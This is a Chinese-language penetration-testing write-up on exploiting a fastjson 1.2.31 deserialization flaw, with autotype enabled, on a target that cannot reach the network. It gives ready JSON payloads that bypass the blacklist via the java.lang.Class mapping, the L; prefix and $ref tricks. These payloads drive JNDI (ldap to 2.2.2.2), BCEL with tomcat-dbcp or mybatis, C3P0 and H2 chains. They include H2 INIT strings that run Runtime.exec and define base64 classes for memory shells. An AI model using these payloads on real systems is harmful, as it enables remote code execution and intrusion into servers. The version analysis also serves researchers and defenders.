1. 信息收集和探测
某次项目中很轻易挖掘了出fastjson的漏洞,但意外的发现目标既不出网也没有dns,因此实际利用过程中造成了很大困扰,没有任何提示只能盲打实在是比较痛苦。不过好在官网有旧版源码下载,fastjson版本和依赖好歹能够得到确认。
如果没有源码,就必须利用fastjson的一些特性去探测,这篇文章总结的比较全面。
https://blog.csdn.net/m0_71692682/article/details/125814861
但目标环境不出网也没有dnslog,更没有java报错,这种情况如何探测呢?可以找这么一个提示参数是否为空的接口。
{
"data":"test",
"authenType":"test"
}
然后使用一个可能会导致当前fastjson报错的payload,这样如果payload通过,接口就会读取到data参数,如果fastjson无法解析导致报错就会依旧提示data为空。
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"data":"test",
"authenType":"test"
}
至于哪些payload在哪个fastjson版本会报错,哪些不会,就需要根据经验自己去试了。一般来说,要利用的是fastjon的如下机制。
1.2.24之前未限制autotype。
1.2.25-1.2.47的java.lang.Class绕过。
1.2.43/1.2.44关于L;[字符的修复。
1.2.36开始支持非bean的类反序列化。
1.2.36-1.2.68的AutoCloseable绕过。
1.2.73-1.2.80的Exception绕过
每个小版本ParserConfig中的黑名单类有细微差别。
2. 开启@type的水链
fastjson复习到这里,我们开始对目标进行实际攻击,在攻击过程中,惊喜的发现目标是开启autotype的(然而事实上开启autotype反而造成了非常大的困扰),那么结合1.2.31的黑名单和依赖,那些fastjson水链就能派上用场了。
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate,org.jboss
org.mozilla.javascript
org.python.core
org.springframework
比如
{
"@type":"ch.qos.logback.core.db.JNDIConnectionSource",
"jndiLocation":"ldap://2.2.2.2:1389/deser:cb19:tomcatecho"
}
除此之外,很显然1.2.43的L;也能绕过。
{
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://2.2.2.2:1389/deser:cb19:tomcatecho",
"autoCommit": true
}
但因为目标环境不出网,jndi显然无法使用,我们需要不出网链。
3. DataSource+Bcel利用链
先pass掉TemplatesImpl,由于要设置SupportNonPublicField,所以这是一个理论链。
而1.2.68的那些文件写入链,需要非bean的反序列化,1.2.31还不支持。
自然而然来到了Bcel链,其仅仅依赖tomcat-dbcp和低版本JDK,是最常用的一个不出网利用链。
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$XXXXXX"
}
}: "bbb"
}
当然,这是1.2.24版本的链,用在1.2.31上需要进行绕过,如果简单粗暴的用L;行不行呢?当然不行,1.2.31有着三重防护。
1,默认关闭autotype,目标打开了。
2,ParserConfig.denyList存在黑名单包名,不过由于是用startsWith匹配的,所以出现了L;的绕过,可以参考上面的com.sun.rowset.JdbcRowSetImpl绕过。
3,对于tomcat-dbcp+bcel链,作者给了足够的尊重,另外写了一个if,专门用来捕获ClassLoader和DataSource这两个危险类。
因此,我们要采取1.2.47的绕过,它利用java.lang.Class将恶意类放入TypeUtils.mappings当中,使得checkAutoType()中关键的两个检测被绕过,提前return规避了检测。
因此下面这个payload应运而生。
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"b": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$XXXXXX"
}
}: "bbb"
}
但是很多人在实战中发现这个payload用不了,事实上它也仅能用于1.2.33-1.2.36,并不能在目标1.2.31上用。
不能在1.2.37上使用的的原因在于,原本这个payload的最终利用点在于BasicDataSource.getConnection()。虽然代码上看不出来,实际上{}:"bbb"这种写法会触发toString()然后轮询所有的Field,触发所有的getter。核心代码和堆栈如下。
但是到了1.2.37,这里代码变了,去掉了toString。
因此无法再靠{}:"bbb"触发getter,解决办法也很简单,用$ref就行。
1.2.36-1.2.47
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"b": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$XXXXXX",
"foo": {
"$ref": "$.c.connection"
}
}
}
而1.2.31不能用的原因在于1.2.31和1.2.33中checkAutoType()的这两段代码的不同,这也是最终这个链失败的核心原因。
1.2.31
1.2.33
1.2.33多了mapping的校验,这导致即使恶意类在黑名单内,但只要将其加入mappings,这个if就过不了,也不会抛错。那为什么在1.2.31很多其他在黑名单的类也能够用java.lang.Class绕过呢?比如com.sun.rowset.JdbcRowSetImpl
1.2.25-1.2.47
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/Object",
"autoCommit": true
}
}
这是因为JdbcRowSetImpl是从DefaultJSONParser.parseObject()进入的,expectClass为null,if过不了,直接不进入这段检测。
而ClassLoader作为BasicDataSource的属性是从JavaBeanDeserializer.deserialze()进入的。
如何让ClassLoader也从DefaultJSONParser.parseObject()进入呢?这需要其他办法来调用setter,下面这篇文章给出了一份完美答案。
https://www.anquanke.com/post/id/283079
POC1
[{
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
}, {
"@type": "java.lang.Class",
"val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
}, ]
POC2
[{
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
"driverClassLoader": {
"$ref": "$[1]"
},
"driver": "$$BCEL$$$xxxxxx"
}, {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",
"": ""
}, {
"@type": "com.alibaba.fastjson.JSONObject",
"connection": {}
}, {
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
"driver": {
"$ref": "$.connection"
}
}]
java.lang.Class设置mappings的技巧一致,接下来使用了$ref的技巧调用setDriverClassLoader(),规避了JavaBeanDeserializer.deserialze()。手动触发getConnection()使用了$ref+JSONObject的写法,非常的巧妙。
但原作者给出的payload是两个数组,需要发两次包,且必须用parse()或者parseArray()触发,实战中更常见的是parseObject()。因此稍微改造下。
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"b": {
"@type": "java.lang.Class",
"val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
},
"c": [{
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
"driverClassLoader": {
"$ref": "$.c[1]"
},
"driver": "$$BCEL$$$XXXXX"
}, {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",
"": ""
}, {
"@type": "com.alibaba.fastjson.JSONObject",
"connection": {}
}, {
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
"driver": {
"$ref": "$.c.connection"
}
}]
}
同理BasicDataSource 1.2.31利用链也可以构造出来了。
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"b": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},
"c": [{
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"$ref": "$.c[1]"
},
"driverClassName": "$$BCEL$$$XXXXXX"
}, {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",
"": ""
}, {
"@type": "com.alibaba.fastjson.JSONObject",
"connection": {}
}, {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassName": {
"$ref": "$.c.connection"
}
}]
}
这条链看似已经完美,但依旧无法在目标上使用,因为对方是开启了autotype的,我们费尽心思使expectClass为null所规避的代码,却还有另一个条件。
也就是说,目标1.2.31且开启autotype,会让className.startsWith(deny)避无可避,只能正面应对。那用L;规避呢?确实能够侥幸过denyList黑名单检测,但同时也会导致无法从mappings中取出clazz。
最终只能走TypeUtils.loadClass()去掉L;取出clazz,此时已经错过所有提前return的地方,势不可挡的来到了ClassLoader和DataSource的专项检测。
因此可以总结,L;绕过是无法应对ClassLoader和DataSource的,DataSource 1.2.31利用链仅适用于两种情况。
1.2.31-1.2.47未开启autotype
1.2.33-1.2.47开启autotype
也就是说,BasicDataSource链最多也就覆盖1.2.31-1.2.47。原作者使用的mybatis的UnpooledDataSource实际上是为了代替tomcat-dbcp的BasicDataSource,实际上这种类还有几个,搜setDriverClassLoader()可以发现。
druid-1.2.8.jar!com.alibaba.druid.pool.DruidAbstractDataSource
commons-dbcp-1.4.jar!org.apache.commons.dbcp.BasicDataSource
commons-dbcp2-2.9.0!org.apache.commons.dbcp2.BasicDataSource
其中DruidAbstractDataSource由于没有无参构造函数不被认为是bean,其他两个可以正常平替tomcat-dbcp。
4. C3P0利用链
那么不出网利用链就只剩下了C3P0二次反序列化链,有了BasicDataSource的构造经验,这个就简单多了,com.mchange.v2.c3p0.WrapperConnectionPoolDataSource虽然是DataSource结尾但父类不是DataSource。
1.2.24
{
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:ACEDXXXX;"
}
1.2.25-1.2.42,开启autotype
{
"@type": "LLcom.mchange.v2.c3p0.WrapperConnectionPoolDataSource;;",
"userOverridesAsString": "HexAsciiSerializedMap:ACEDXXXXXX;"
}
1.2.25-1.2.47未开启autotype
1.2.33-1.2.47开启autotype
{
"a": {
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"b": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:ACEDXXXXX;"
}
}
因为c3p0不需要面对ClassLoader和DataSource的单独检测,覆盖面比BasicDataSource要大。
5. h2利用链
在https://www.anquanke.com/post/id/283079文章中还提到了h2利用链,也是个DataSource链,但是不依赖Bcel。
其中h2这个jar包比较别扭,其没用-g编译,导致没有LocalVariableTable,即无法反序列化非Bean的类。也就无法参与后续的AutoCloseable绕过,但是反序列化Bean触发getConnection()还是没什么问题的。以下只给出最复杂的1.2.31-1.2.47链,其他请自行构造。
{
"a": {
"@type": "java.lang.Class",
"val": "org.h2.jdbcx.JdbcDataSource"
},
"b": [{
"@type": "org.h2.jdbcx.JdbcDataSource",
"url": "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"calc\")\\; }'\\;CALL EXEC ()\\;"
},
{
"@type": "com.alibaba.fastjson.JSONObject",
"connection": {}
}, {
"@type": "org.h2.jdbcx.JdbcDataSource",
"url": {
"$ref": "$.b.connection"
}
}
]
}
原文中可能为了打内存马,还给出了classloader的写法。
jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { try { byte[] b = java.util.Base64.getDecoder().decode(\"base64classcode\")\\; java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class)\\; method.setAccessible(true)\\; Class c = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length)\\; c.newInstance()\\; } catch (Exception e){ }}'\\;CALL EXEC ()\\;
结合依赖和各个链的原理,最终选择了c3p0链完成漏洞利用。